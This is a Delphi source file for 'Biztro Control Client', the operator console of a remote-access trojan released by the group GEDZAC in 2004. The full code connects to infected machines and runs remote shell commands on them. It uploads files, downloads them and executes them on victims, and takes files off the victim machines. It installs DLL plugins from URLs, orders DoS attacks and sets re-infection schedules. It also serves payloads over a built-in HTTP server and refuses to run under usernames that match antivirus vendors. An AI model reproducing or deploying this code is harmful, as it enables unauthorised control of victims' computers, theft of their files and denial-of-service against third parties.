unit Splash_unit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls,URLMON,WinInet,SHELLAPI, ComCtrls, Buttons,Winsock;

type
  TSplash = class(TForm)
    Image1: TImage;
    Image2: TImage;
    Image3: TImage;
    GroupBox1: TGroupBox;
    Memo1: TMemo;
    ProgressBar1: TProgressBar;
    Label3: TLabel;
    Label2: TLabel;
    SpeedButton2: TSpeedButton;
    Image4: TImage;
    Image5: TImage;
    Image7: TImage;
    Image6: TImage;
    GroupBox2: TGroupBox;
    Memo2: TMemo;
    Edit1: TEdit;
    GroupBox3: TGroupBox;
    Image9: TImage;
    GroupBox4: TGroupBox;
    Edit2: TEdit;
    Label4: TLabel;
    SpeedButton3: TSpeedButton;
    SpeedButton4: TSpeedButton;
    SpeedButton5: TSpeedButton;
    Label5: TLabel;
    SpeedButton6: TSpeedButton;
    Memo3: TMemo;
    GroupBox5: TGroupBox;
    ProgressBar2: TProgressBar;
    Label1: TLabel;
    ComboBox1: TComboBox;
    SpeedButton7: TSpeedButton;
    Image8: TImage;
    Edit3: TEdit;
    ProgressBar3: TProgressBar;
    SpeedButton8: TSpeedButton;
    SpeedButton11: TSpeedButton;
    SpeedButton1: TSpeedButton;
    GroupBox6: TGroupBox;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    SpeedButton10: TSpeedButton;
    SpeedButton9: TSpeedButton;
    SpeedButton13: TSpeedButton;
    Image10: TImage;
      procedure Pro;
    procedure SpeedButton2Click(Sender: TObject);
    procedure Edit1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure SpeedButton1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Memo2MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure GroupBox2MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure Image6MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure SpeedButton3Click(Sender: TObject);
    procedure SpeedButton5Click(Sender: TObject);
    procedure SpeedButton6Click(Sender: TObject);
    procedure SpeedButton4Click(Sender: TObject);
    procedure Image8Click(Sender: TObject);
    procedure ComboBox1Change(Sender: TObject);
    procedure Edit3Change(Sender: TObject);
    procedure SpeedButton7Click(Sender: TObject);
    procedure BioChange(const m:string;const e:integer);
    procedure error(const m:byte);
    procedure Upload(const x:string);
    procedure Upload2(const x:string);
    procedure SendComm(m:string);
    procedure Disconnect;
    procedure Download(const x1:string);
    procedure Local(const m:string;const e:integer);
    procedure SendPlugin(const x:string);
    procedure SpeedButton1Click(Sender: TObject);
    procedure SpeedButton12Click(Sender: TObject);
    procedure SpeedButton9Click(Sender: TObject);
    procedure Sund;
    procedure ConProg;
    procedure SpeedButton11Click(Sender: TObject);
    procedure SpeedButton10Click(Sender: TObject);
    procedure SpeedButton8Click(Sender: TObject);
    procedure Edit1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure SpeedButton13Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Image9Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Edit2KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
  private
    { Private declarations }

   public

  public
    { Public declarations }

  end;
    const
  Made_By = 'Biztro Control Client by Byt3Cr0w/GEDZAC - Project Finish Date: 26/11/2004 - www.gedzac.tk';
  SP = #13#10;
  COMLIST = 'Command List:'+sp+sp+'Command name: Remote cmd'+sp+'Use: /[windows cmd command]'+sp+'Biztro will executed your commands in the windows cmd of the infected machine and send to you the result of the executed command.'+sp+'Example: /DIR C:\'+sp+sp+'Command name: Upload'+sp+'Use: Upload [url/localhost]'+sp+'With this command the remote machine downloads a file from an URL or your computer.'+sp+'Example1: Upload http://www.somepage.com/file.exe'+sp+'Example2: Upload localhost/C:\file.exe'+sp+sp+'Command name: UploadEx'+sp+'Use: Ex-Upload [url/localhost]'+sp+'With this command the remote machine downloads a file from an URL or your computer and execute it.'+sp+'Example1: Ex-Upload http://www.somepage.com/file.exe'+sp+'Example2: ExUpload localhost/C:\file.exe'+sp+sp+
            'Command name: Download'+sp+'Use: Download [RemoteFile]'+sp+'With this command you can download a file from the remote machine.'+sp+'Example: Download C:\remotefile.exe'+sp+sp+'Command name: Dos'+sp+'Use: Dos [URL]'+sp+'With this command the remote machine make a D.O.S attack to an specific URL.'+sp+'Example: Dos www.url.com'+sp+sp+'Comman name: Plugin'+sp+'Use: Plugin [url of the DLL]'+sp+'With this command you will send and install a plugin for Biztro in the remote machine (Must be a valid Dynamic Library)'+sp+
            'Example: Plugin www.biztroplugins.com/plugin.dll';
var
  Splash: TSplash;
  ID:dword;
  ToLoad,j,rip:string;
  control1,control2:integer;
  Zock : Tsocket;
  e,e1,e2,x,me:integer;
  shutdownx,cp,NowCon:boolean;
implementation

{$R *.dfm}


procedure Msgx(const m:string);
begin
MessageBox(0,Pchar(m),'Biztro Control Client - Gedzac Labs 2004',32);
end;

procedure TSplash.Disconnect;
begin
try closesocket(Zock); except end;
Label5.Caption := 'Status: Disconnected';
GroupBox3.Hide;
GroupBox3.Height := 361;
Image9.Show;
Memo3.Text := Memo3.Text + 'Now Disconnected'+sp;
Splash.Update;
Edit2.Text := '';
e:=0;e1:=0;e2:=0;
NowCon := false;
end;

procedure Tsplash.error(const m:byte);
begin
case m of
1: begin
MsgX('Error: Connection Failed'+sp+'Possible reasons:'+sp+' -The remote computer is not connected to internet.'+sp+' -The remote computer is behind a firewall.'+sp+' -The remote computer is not infected by Biztro.');
Disconnect;
end;
2: begin
Memo2.Text := Memo2.Text + comlist;
Edit1.Clear;
end;
end;
end;


procedure Sendx(const ss:string);
begin
Send(Zock,Pointer(ss)^,Length(ss),0);
end;

procedure sendf(const m:string);
   var   vz:array [0..1023] of Char;
    ozz,fw:integer;
    iam:file;
    z,afuera,fat:string;
   begin
   z := m;
    Delete(z,1,5);
z := Copy(z,1, Pos('HTTP/1',z)-2);
   if not fileexists(z) then
   begin
writeln('mno');
   end;
   fw := FileOpen(z,0);
   fat := floattostr(getfilesize(fw,nil));
   fileclose(fw);
   AssignFile(iam,z);
         filemode:=0;
        try reset(iam,1); except end;
    afuera := 'HTTP/1.1 200 OK' + SP
        + 'Accept-Ranges: bytes' + SP
        + 'Content-Length: '+fat + sp
        + 'Keep-Alive: timeout=15, max=100' + sp
        + 'Connection: Keep-Alive' + sp
        + 'Content-Type: application/x-msdownload' + sp + sp;
           Send( x, Addr(afuera[1])^, Length(afuera), 0 );
    repeat
      BlockRead(iam,vz[0],SizeOf(vz),ozz);
      if ozz<=0 then break; if send(x,vz[0],ozz,0)<=0 then break;
    until ozz<>1024;
    closefile(iam);
    end;

function Wakesock: Boolean;
var
  anne: TWSAData;
begin
  Result :=  WSAStartup( $101, anne ) = 0
end;


function LoadService(casa:integer): Integer;
var direc: TSockAddrIn;
begin
  Result := Socket( PF_INET, SOCK_STREAM, IPPROTO_TCP );
  if Result = INVALID_SOCKET then
    Exit;
  with direc do begin
    sin_family := AF_INET;
    sin_port := htons(casa);
    sin_addr.S_addr := 0;
  end;

  if Bind( Result, direc, SizeOf(direc) ) <> 0 then begin
    Result := INVALID_SOCKET;
    Exit;
  end;

  if Listen(Result,5) <> 0 then
    Result := INVALID_SOCKET;
end;

procedure bye(Sock:Integer);
begin
  ShutDown(Sock,2);
  CloseSocket(Sock);
end;

procedure RemoteModule(me:integer);
var
  Data: array[ 0..8191 ] of Char;
  w,z: Pointer;
  l: Char;
  current: Integer;
    begin
  x := Accept(me, nil, nil );
  repeat

    current := Recv(x, Data, SizeOf(Data), 0 );
    if current = 0 then
      current := SOCKET_ERROR
    else
    begin
      w := @Data;
      z := Pointer(Integer(@Data) + current);
      l := #0;
      while Integer(w) < Integer(z) do begin
        if (l = #13) and (Char(w^) = #10 ) then begin
          Inc( Integer(w));
          Continue;
        end;
        l := Char(w^);
        if l = #13 then
        begin
                                 TRY
    if Pos('GET',j) > 0 then sendf(j);
                             except end;
        j := '';
        end else
          j := j + l;
        Inc(Integer(w));
      end;
    end;
  until current = SOCKET_ERROR;
  bye(x);
end;

procedure Server;
begin
  if not Wakesock then exit;
  me := LoadService(2777);
  if me = INVALID_SOCKET then exit;
  repeat
RemoteModule(me);
  until shutdownx;
  bye(me);
  WSACleanUp;
 end;

function packet(pack:string):boolean;
var bag :array [0..2048] of char;
begin
  zeroMemory(@bag[0],SizeOf(bag));
  if(Recv(Zock,bag,SizeOf(bag),0)=SOCKET_ERROR)or(Copy(bag,1,Length(pack))<>pack) then
  result:=False else Result:=True;
  end;

  function Connectx(m:string):boolean;
  var direcx: TSockAddr;
     InitDllSock  : TWSAData;
begin
 WSAStartup( $101, InitDllSock );
  Zock := Socket( PF_INET, SOCK_STREAM, IPPROTO_TCP );
  if Zock = INVALID_SOCKET then exit;
  with direcx do begin
    sin_family := AF_INET;
    sin_port := htons(666);
    sin_addr.S_addr := Inet_Addr(pchar(m));
  end;
  if not Connect(Zock,direcx,SizeOf(direcx)) = 0 then Result := false else Result := true;
Sendx('P'+sp);
 if packet('1') then Result:=true else begin Result := false; CloseSocket(Zock); end;
end;

function RemoteBioSetup:string;
var bag :array [0..2048] of char;
begin
Sendx('Sta'+sp);
Recv(Zock,bag,SizeOf(bag),0);
Result := Copy(bag,1,300);
end;

function ip:string;
var somedata:TWSAData;
begin
    WSAStartup(257,somedata);
    Result := Inet_ntoa(pinaddr(GetHostByName(nil)^.h_addr_list^ )^);
    WSACleanup;
end;

function MakeD(x:string):string;
var i:integer;
    s,m,from:string;
    begin
m := x;
Delete(m,1,3);

from := m;
for i:= 1 to Length(m) do if m[i] <> #32 then s:=s+m[i] else s:=s+'+';
m := Copy(s,1,3);
Delete(s,1,3);
s := 'Biz0'+m+s;
Result := s;
end;


procedure TSplash.Local(const m:string;const e:integer);
var i:integer;
begin
case e of
1: begin
GroupBox3.Hide;
Image9.Hide;
GroupBox6.Show;
Splash.Update;
for i := 0 to 113 do begin sleep(10); GroupBox6.Height := 0+i; Splash.Update; end;i:=0;
Splash.Update;
Label6.Caption := 'From: '+m;
Label7.Caption := 'to: '+rip;
Label8.Caption := 'Status: Transfering...';
Splash.Update;
end;
2: begin
Label8.Caption := 'Status: Done';
Splash.Update;
sleep(800);
for i := 0 to 113 do begin sleep(10); GroupBox6.Height := 113-i; Splash.Update; end;i:=0;
Splash.Update;
GroupBox3.Show;
GroupBox6.Hide;
end;
3:begin
GroupBox3.Hide;
Image9.Hide;
GroupBox6.Show;
Splash.Update;
for i := 0 to 113 do begin sleep(10); GroupBox6.Height := 0+i; Splash.Update; end;i:=0;
Label6.Caption := 'From: http://'+ip+':2777/'+m;
Label7.Caption := 'to: '+rip;
Label8.Caption := 'Status: Downloading...';
Splash.Update;
end;
end;
end;

procedure Tsplash.Download(const x1:string);
var i:integer;
    ram,k,ex,m,x:string;
begin
Randomize;
m := x1;
Delete(m,1,9);
k := m;
for i := 1 to Length(m) do if m[i] = #32 then m:=MakeD(k);i:=0;
for i := Length(m) downto 0 do ex:=ex+m[i]; i:=0;
for i := 1 to Length(ex) do if ex[i] <> '.' then x:=x+ex[i] else break;i:=0;ex:='';
for i := Length(x) downto 0 do ex:=ex+x[i]; i:=0;
ram := 'C:\BiztroDownload'+IntToStr(Random(999999))+'.'+ex;
Memo2.Text := Memo2.Text + 'Downloading file from: http://'+rip+':2888/'+m+sp;
Local(m,3);
Splash.Update;
UrlDownLoadToFile(nil,PchaR('http://'+rip+':666/'+m),Pchar(ram),0,nil);
Memo2.Text := Memo2.Text + 'Downloaded file in: '+ram+sp;
Local(m,2);
end;

procedure Tsplash.Upload2(const x:string);
var m,re:string;
bag :array [0..2048] of char;
o:integer;
label u;
label k;
begin
m:=x;
Delete(m,1,9);
if Pos('exupload localhost/',x) > 0 then goto u;
goto k;
u:
CreateThread(nil,0,@Server,nil,0,ID);
Delete(m,1,10);
m := 'http://'+ip+':2777/'+m;
o:=1;                
k:
Memo2.Text := Memo2.Text + 'Sending upload command...'+sp;
if o = 1 then Local(m,1);
Sendx('/+\'+m+sp);
Memo2.Text := Memo2.Text + 'Waiting for reply...'+sp;
Recv(Zock,bag,SizeOf(bag),0);
re:=Copy(bag,1,300);
if Pos('B1',re) > 0 then if Pos('B1*',re) > 0 then Memo2.Text := Memo2.Text + 'Biztro can not upload the file.'+sp else begin Delete(re,1,2); Memo2.Text := Memo2.Text + 'Uploaded file in: '+re+sp;
if o=1 then  Local(m,2);
m:=''; e:=0;
end;
end;

procedure Tsplash.Upload(const x:string);
var m,re:string;
bag :array [0..2048] of char;
o:integer;
label u;
label k;
begin
m:=x;
Delete(m,1,7);
if Pos('upload localhost/',x) > 0 then goto u;
goto k;
u:
Delete(m,1,10);
CreateThread(nil,0,@Server,nil,0,ID);
m := 'http://'+ip+':2777/'+m;
o:=1;
k:
Memo2.Text := Memo2.Text + 'Sending upload command...'+sp;
if o = 1 then Local(m,1);
Sendx('/*\'+m+sp);
Memo2.Text := Memo2.Text + 'Waiting for reply...'+sp;
Recv(Zock,bag,SizeOf(bag),0);
re:=Copy(bag,1,300);
if Pos('B1',re) > 0 then if Pos('B1*',re) > 0 then Memo2.Text := Memo2.Text + 'Biztro can not upload the file.'+sp else begin Delete(re,1,2); Memo2.Text := Memo2.Text + 'Uploaded file in: '+re+sp;
if o=1 then  Local(m,2);
m:=''; e:=0;
end;
end;


procedure  TSplash.SendPlugin(const x:string);
var m:string;
begin
m:=x;
Delete(m,1,7);
Sendx('/0\'+m+sp);
Memo2.Text := Memo2.Text + 'The remote plugin url was sended.'+sp;
end;

function MakeDownFile(m:string):boolean;
begin
Sendx('MID'+m+sp);
if not packet('D1') then Result := false else Result := true;
end;


procedure TSplash.BioChange(const m:string;const e:integer);
var t:string;
    i:integer;
label fin;
begin
if e=1 then t := '<I>'; if e=2 then t := '<E>'; if e=3 then t := '<T>';
for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 409+i; Splash.Update; end;
e2:=1;
sleep(500);
Splash.Update;
SpeedButton7.Caption := 'Sending new settings...';
Memo2.Text := Memo2.Text + 'Sending new settings...'+sp;
Splash.Cursor := crHourGlass;
SpeedButton7.Cursor := crNo;
ProgressBar3.StepIt;
ProgressBar3.Show;
Splash.Update;
Sendx(t+m+sp);
sleep(1000);
SpeedButton7.Caption := 'Waiting for reply...';
Memo2.Text := Memo2.Text + 'Waiting for reply...'+sp;
ProgressBar3.StepIt;
Splash.Update;
sleep(1000);
if not packet('E1') then begin Error(1); exit; goto fin; end;
Splash.Update;
SpeedButton7.Caption := 'Done';
Memo2.Text := Memo2.Text + 'The remote Bio Setup was changed'+sp;
fin:
SpeedButton7.Cursor := crDefault;
Splash.Cursor := crDefault;
ProgressBar3.StepIt;
Splash.Update;
Sleep(800);
SpeedButton7.Caption := '';
Splash.Update;
if e2 = 1 then begin
for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 409-i; Splash.Update; end;
e2:=0;
end;
SpeedButton7.Caption := 'Change';
ComboBox1.Text := 'Options';
Edit3.Text := 'Select an Option';
Edit3.Enabled := false;
e1:=0;
ProgressBar3.Hide;
Splash.Update;
end;

procedure TSplash.SendComm(m:string);
var bag:array [0..100] of char;
 a,b,c,d,ram:string;
 k:textfile;
 begin
Randomize;
ram := 'C:\BiztroDat'+IntToStr(Random(999999))+'.txt';
b:=m;
If Pos('/echo',b) > 0 then begin Memo2.Text := Memo2.Text + 'The ECHO Command is not allowed.'+sp; exit; end;
If Pos('/@echo',b) > 0 then begin Memo2.Text := Memo2.Text + 'The ECHO Command is not allowed.'+sp; exit; end;
Delete(b,1,1);
Sendx('BXC'+b+sp);
Recv(Zock,bag,SizeOf(bag),0);
a := Copy(bag,1,100);
UrlDownLoadToFile(nil,PchaR('http://'+rip+':666/'+a),Pchar(ram),0,nil);
try
assignfile(k,ram);
reset(k);
while not eof(k) do begin
Readln(k,c);
d:=d+c+sp;
end;
Memo2.Text := Memo2.Text +sp+d+sp;
CloseSOcket(Zock);
closefile(k);
Erase(k);
if not connectx(rip) then Error(2);
except end;
end;


function CheckHealth:boolean;
begin result := true; end;

function CheckRAM:boolean;
var RAM:TMemoryStatus;
begin
RAM.dwLength := sizeof(RAM);
GlobalMemoryStatus(RAM);
with RAM do if dwMemoryLoad > 95 then Result := false else Result := true;
end;

function CheckUser:boolean;
var s: dword;
c:array[0..255] of char;
user:string;
begin
s := 256;
if GetUserName(c,s) then user:=c else begin Result := false; exit; end;
if (Pos('Antivirus',user)>0) or (Pos('PER An',user)>0) or (Pos('Panda An',user)>0) or (Pos('Norman An',user)>0) or (Pos('Symantec',user)>0) then Result := false;
end;



function CheckISP:boolean;
begin
 Result := InternetGetConnectedState(nil, 0);
end;


procedure TSplash.Pro;
var R: TRect;
begin
      Memo1.Visible := true;
      ProgressBar1.Visible := true;
      Splash.Update;
if control1 = 1 then exit;
control1 := 1;
e:=0;e1:=0;e2:=0;
Memo1.Lines.Add('Loading...');
Memo1.Lines.Add('Checking integrity...');
ProgressBar1.StepIt;
Splash.Update;
sleep(500);
if CheckHealth then Memo1.Lines.Add('Integrity OK') else begin Msgx('Error: Wrong Integrity - Please install again.'); exitprocess(0); end;
Memo1.Lines.Add('Checking space in RAM...');
ProgressBar1.StepIt;
Splash.Update;
sleep(500);
if CheckRAM then Memo1.Lines.Add('Space in RAM OK') else begin Msgx('Error: BCC need more RAM - Please free some space in memory.'); exitprocess(0); end;
Memo1.Lines.Add('Checking Local machine...');
ProgressBar1.StepIt;
Memo1.Visible := true;
Splash.Update;
sleep(500);
if CheckUser then Memo1.Lines.Add('Local machine OK') else begin Msgx('Error: For security reasons BCC can not run in this machine - Please remove this program from your HD.'); exitprocess(0); end;
Memo1.Lines.Add('Checking for Internet...');
ProgressBar1.StepIt;
Splash.Update;
sleep(500);
if CheckISP then Memo1.Lines.Add('Internet is OK') else begin Msgx('Error: BCC need internet service - Please connect to internet'); exitprocess(0); end;
Splash.Update;
sleep(800);
SystemParametersInfo(SPI_GETWORKAREA, 0, @R, 0);
   SetBounds(R.Left, R.Top, R.Right-R.Left, R.Bottom-R.Top);
   ProgresSBar1.Destroy;
   Image1.Destroy;
   Image2.Destroy;
   Image3.Destroy;
   Memo1.Destroy;
   Label2.Destroy;
   Label3.Destroy;
   SpeedButton2.Destroy;
   GroupBox1.Destroy;
Image4.Visible := true;
Image5.Visible := true;
Image6.Visible := true;
Image7.Visible := true;
Image9.Visible := true;
Image10.Visible := true;
GroupBox2.Visible := true;

 PostMessage(ProgressBar2.Handle, $0409, 0,$00804000);
 PostMessage(ProgressBar3.Handle, $0409, 0,$00804000);
Splash.BorderStyle := bsSingle;

   end;



procedure TSplash.SpeedButton2Click(Sender: TObject);
begin
Pro;
end;




procedure TSplash.Edit1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
SpeedButton1.Font.Color := $00C08000;
end;

procedure TSplash.SpeedButton1MouseMove(Sender: TObject;
  Shift: TShiftState; X, Y: Integer);
begin
SpeedButton1.Font.Color := $009F5000;
end;

procedure TSplash.Memo2MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
SpeedButton1.Font.Color := $00C08000;
end;

procedure TSplash.GroupBox2MouseMove(Sender: TObject; Shift: TShiftState;
  X, Y: Integer);
begin
SpeedButton1.Font.Color := $00C08000;
end;

procedure TSplash.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
SpeedButton1.Font.Color := $00C08000;
end;

procedure TSplash.Image6MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
SpeedButton1.Font.Color := $00C08000;
end;


procedure TSplash.ConProg;
begin
NowCon := true;
ProgressBar2.Show;
Label5.Caption := 'Status: Connecting to '+Edit2.Text;
Memo2.Text := Memo2.Text + 'Connecting to '+Edit2.Text+'...'+sp;
Splash.Update;
SpeedButton3.Caption := 'Connecting...';
SpeedButton5.Enabled := true;
Splash.Update;
if not Connectx(Edit2.Text) then
begin
SpeedButton3.Caption := 'Connect';
Label5.Caption := 'Status: Connection failed.';
Memo2.Text := Memo2.Text + 'Connection failed.'+sp;
Error(1);
Splash.Update;
exit;
end;
ProgressBar2.StepIt;
sleep(500);
ProgressBar2.StepIt;
sleep(500);
ProgressBar2.StepIt;
sleep(500);
ProgressBar2.StepIt;
sleep(500);
SpeedButton3.Caption := 'Connected';
Label5.Caption := 'Status: Connected to '+Edit2.Text;
Memo2.Text := Memo2.Text + 'Connected to '+Edit2.Text+sp;
SpeedButton3.Caption := 'Connect';
ProgressBar2.Hide;
Splash.Update;
GroupBox3.Show;
Image9.Hide;
Memo3.Text := RemoteBioSetup;
rip := Edit2.Text;
end;

procedure TSplash.SpeedButton3Click(Sender: TObject);
begin
ConProg;
end;

procedure TSplash.SpeedButton5Click(Sender: TObject);
begin
if not NowCon then exit;
SpeedButton5.Caption := 'Disconnecting';
Label5.Caption := 'Status: Disconnecting from '+rip;
Splash.Update;
ProgressBar2.StepIt;
ProgressBar2.Show;
Splash.Update;
sleep(500);
ProgressBar2.StepIt;
sleep(500);
ProgressBar2.StepIt;
sleep(500);
ProgressBar2.StepIt;
sleep(500);
CloseSocket(Zock);
GroupBox3.Hide;
Image9.Show;
SpeedButton5.Caption := 'Disconnect';
Label5.Caption := 'Status: Disconnected';
Splash.Update;
ProgressBar2.Hide;
NowCon := false;
end;



procedure TSplash.SpeedButton6Click(Sender: TObject);
begin
Image9.Visible := false;
Image8.Visible := false;
Label1.Left := 100;
Label1.Caption := 'Biztro IP List';
GroupBox3.Visible := true;
if not fileexists('list.ini') then Memo3.Text := 'The IP list is emty.' else Memo3.Lines.LoadFromFile('list.ini');
end;

procedure TSplash.SpeedButton4Click(Sender: TObject);
var a:textfile;
begin
if Edit2.Text = '' then begin Msgx('Please put a valid IP Address'); exit; end;
AssignFile(a,'list.ini');
if not fileexists('list.ini') then rewrite(a) else append(a);
writeln(a,Edit2.Text); closefile(a);
Msgx(Edit2.Text+' was added to the IP List');

end;

procedure TSplash.Image8Click(Sender: TObject);
var i:integer;
begin
if e = 0 then begin
for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 361+i; Splash.Update; e:=1;  end;
exit;
end;
if e = 1 then begin
for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 385-i; Splash.Update; e:=0; end;
e1:=0;
exit;
end;
end;

procedure TSplash.ComboBox1Change(Sender: TObject);
begin
if ComboBox1.Text <> 'Options' then Edit3.Enabled := true else Edit3.Enabled := false;
if ComboBox1.Text = 'Re-Infection Day' then Edit3.Text := '15';
if ComboBox1.Text = 'Cmd Status' then Edit3.Text := 'Enable';
if ComboBox1.Text = 'Max Threads' then Edit3.Text := '26';

end;

procedure TSplash.Edit3Change(Sender: TObject);
var i:integer;
begin
if Edit3.Text <> '' then if e1=0 then begin
for i := 1 to 24 do begin sleep(50); GroupBox3.Height := 385+i; Splash.Update; end;
e1:=1;
exit;
end;
end;

procedure TSplash.SpeedButton7Click(Sender: TObject);
var a:integer;
    b:string;
begin
b:=''; a:=0;
b:= LowerCase(Edit3.Text);
if ComboBox1.Text = 'Re-Infection Day' then
try a:=StrToInt(Edit3.Text); except MsgX('Error: The Re-Infection date must be a valid number.'); exit; end;
if ComboBox1.Text = 'Cmd Status' then
if b<>'enable' then if b<>'disable' then begin MsgX('Error: The Cmd Status must be one of these:'+sp+' -Enable'+sp+' -Disable'); exit; end;
if ComboBox1.Text = 'Max Threads' then
try a:=StrToInt(Edit3.Text); except MsgX('Error: The Max Threads must be a valid number.'); exit; end;
/////////////**** If we are on these point that means = Everything is OK  ****/////////
if ComboBox1.Text = 'Re-Infection Day' then BioChange(b,1);
if ComboBox1.Text = 'Cmd Status' then BioChange(b,2);
if ComboBox1.Text = 'Max Threads' then BioChange(b,3);
end;

procedure TSplash.Sund;
var a,b:string;
label go;
begin
a := LowerCase(Edit1.Text);
b:=a;
Delete(b,1,4);
if Pos('upload',a)>0 then goto go;
if Pos('uploadex',a)>0 then goto go;
if Pos('download',a)>0 then goto go;
if Pos('dos',a)>0 then goto go;
if Pos('dosx',a)>0 then goto go;
if Pos('plugin',a)>0 then goto go;
if Pos('/',a)>0 then goto go;
error(2);
exit;
go:
If Pos('/',a)>0 then begin SendComm(a); exit; end;
If Pos('ex',a)>0 then begin Upload2(a); exit; end;
If Pos('up',a)>0 then Upload(a);
If Pos('download',a)>0 then download(a);
If Pos('dos',a)>0 then begin Sendx('D*Z'+b+sp); Memo2.Text:=Memo2.Text +sp+'The Dos request was sended'+sp; Splash.Update; closesocket(Zock); Memo2.Text := Memo2.Text + 'Biztro is now totally dedicated to the DoS Attack, you have to wait for the Restart of the Remote machine to be able to connect again to '+rip+sp; Disconnect; end;
If Pos('plugin',a)>0 then SendPlugin(a);
end;

procedure TSplash.SpeedButton1Click(Sender: TObject);
begin
Sund;
Edit1.Clear;
end;

procedure TSplash.SpeedButton12Click(Sender: TObject);
begin
Memo2.Text := Memo2.Text + Comlist;
end;

procedure TSplash.SpeedButton9Click(Sender: TObject);
begin
Memo2.Clear;
Memo2.Text := COMLIST;
end;


procedure TSplash.SpeedButton11Click(Sender: TObject);
begin
ShellExecute(0,nil,pchar('http://www.gedzac.tk'),'','',SW_SHOWNORMAL);
end;

procedure About;
begin
MsgX('Biztro Control Client - Coded & Designed by Byt3Cr0w/GEDZAC'+sp+'Greedz/Thnx to:'+sp+' - All Gedzac Members'+sp+' - Falckon/DCA'+sp+' - BlackRose =)'+sp+' - Sickbyte & Backus from PrimateLost'+sp+'And all the ppl that i forget...:)'+sp+'http://www.gedzac.tk');
end;

procedure TSplash.SpeedButton10Click(Sender: TObject);
begin
About;
end;

procedure TSplash.SpeedButton8Click(Sender: TObject);
begin
ShellExecute(0,nil,pchar('mailto:byt3cr0w@gedzac.zzn.com'),'','',SW_SHOWNORMAL);
end;

procedure TSplash.Edit1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
if Key = VK_Return then begin Sund; Edit1.Clear; end;
end;

procedure TSplash.SpeedButton13Click(Sender: TObject);
begin
Memo2.Clear;
end;

procedure TSplash.FormClose(Sender: TObject; var Action: TCloseAction);
begin
About;
end;

procedure TSplash.Image9Click(Sender: TObject);
begin
ShellExecute(0,nil,pchar('http://www.gedzac.tk'),'','',SW_SHOWNORMAL);
end;

procedure TSplash.FormCreate(Sender: TObject);
var bit:integer;
begin
Bit := Application.MessageBox ('Español: Al oprimir el botón SI/YES TU te estas haciendo responsable de todos'+sp+'los daños ocasionados por el uso indebido de este programa.'+sp+sp+'English: If you press the YES button YOU will have all the Responsibility of the illegal use of this program.'+sp+sp+'Byt3Cr0w/GEDZAC','Biztro Control Client',MB_YESNO+MB_ICONINFORMATION);
   If Bit = ID_NO Then
   begin
   About;
   exitprocess(0);
  end;

end;

procedure TSplash.Edit2KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
if Key = VK_Return then ConProg;
end;

end.

